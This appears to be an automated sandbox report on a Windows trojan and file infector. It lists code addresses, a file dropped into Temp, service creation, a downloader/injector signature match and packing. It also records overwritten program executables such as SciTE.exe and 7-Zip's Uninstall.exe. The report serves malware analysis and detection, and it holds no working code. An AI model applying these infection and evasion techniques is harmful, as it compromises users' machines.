Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0031B1F0	0_2_0031B1F0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_003219B0	0_2_003219B0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00315BA0	0_2_00315BA0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0031ACD0	0_2_0031ACD0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00342020	0_2_00342020
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00361000	0_2_00361000
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0035F0AD	0_2_0035F0AD
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0033D0D0	0_2_0033D0D0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_003432C0	0_2_003432C0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00315340	0_2_00315340
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0031C450	0_2_0031C450
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0035A583	0_2_0035A583
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0035162B	0_2_0035162B
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0035A6A3	0_2_0035A6A3
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00342740	0_2_00342740
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0033D8C0	0_2_0033D8C0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00320A20	0_2_00320A20
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0033FAA0	0_2_0033FAA0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00377B71	0_2_00377B71
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00343C20	0_2_00343C20
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00341C50	0_2_00341C50
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0035ACF6	0_2_0035ACF6
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0034FD50	0_2_0034FD50
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00314DE0	0_2_00314DE0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0034DDEF	0_2_0034DDEF
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00313ED0	0_2_00313ED0
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Code function: 1_2_00616076	1_2_00616076
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Code function: 1_2_00616D00	1_2_00616D00

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\vXQpuA.exe 4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: String function: 00349E80 appears 39 times

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 1392

Source: MyProg.exe.1.dr

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, type: SAMPLE	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: 0.0.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: 0.2.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector

Source: vXQpuA.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: vXQpuA.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: vXQpuA.exe.0.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@4/9@7/6

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Code function: 1_2_0061119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

1_2_0061119F

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: OpenSCManagerA,DeleteFileA,DeleteFileA,CopyFileA,OpenServiceA,CloseServiceHandle,GetUserNameA,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,

0_2_00320A20

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_003202C0 StartServiceCtrlDispatcherA,

0_2_003202C0

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_003202C0 StartServiceCtrlDispatcherA,

0_2_003202C0

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5064

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

File created: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Jump to behavior

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Command line argument: 0.8		0_2_003219B0
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Command line argument: 0.8		0_2_003219B0

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

ReversingLabs: Detection: 97%

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	String found in binary or memory: https://db-ip.com/https://ipgeolocation.io/https://www.maxmind.com/en/locate-my-ip-addresstype must be boolean, but is type must be number, but is type must be number, but is type must be number, but is type must be string, but is GETPOSTMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36-2L-1L0123456789abcdef

Source: unknown	Process created: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe "C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe"
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Process created: C:\Users\user\AppData\Local\Temp\vXQpuA.exe C:\Users\user\AppData\Local\Temp\vXQpuA.exe
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 1392
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Process created: C:\Users\user\AppData\Local\Temp\vXQpuA.exe C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Jump to behavior

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.1.dr

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Unpacked PE file: 1.2.vXQpuA.exe.610000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: ku

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: section name: ku
Source: vXQpuA.exe.0.dr	Static PE information: section name: .aspack
Source: vXQpuA.exe.0.dr	Static PE information: section name: .adata
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ
Source: MyProg.exe.1.dr	Static PE information: section name: PELIB
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: SciTE.exe.1.dr	Static PE information: section name: u

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00376E7B push ebp; ret	0_2_00376E7E
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00376E7A push ebp; ret	0_2_00376E7E
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00349EC6 push ecx; ret	0_2_00349ED9
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Code function: 1_2_00616076 push 006114E1h; ret	1_2_00616425
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Code function: 1_2_00611638 push dword ptr [00613084h]; ret	1_2_0061170E
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Code function: 1_2_0061600A push ebp; ret	1_2_0061600D
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Code function: 1_2_00612D9B push ecx; ret	1_2_00612DAB

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Static PE information: section name: ku entropy: 6.934525403554348
Source: vXQpuA.exe.0.dr	Static PE information: section name: .text entropy: 7.81169422100848
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ entropy: 6.934606960353715
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR entropy: 6.934533938780926
Source: SciTE.exe.1.dr	Static PE information: section name: u entropy: 6.9351052031329194

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	File created: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_003202C0 StartServiceCtrlDispatcherA,

0_2_003202C0

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_00343C20 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00343C20

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
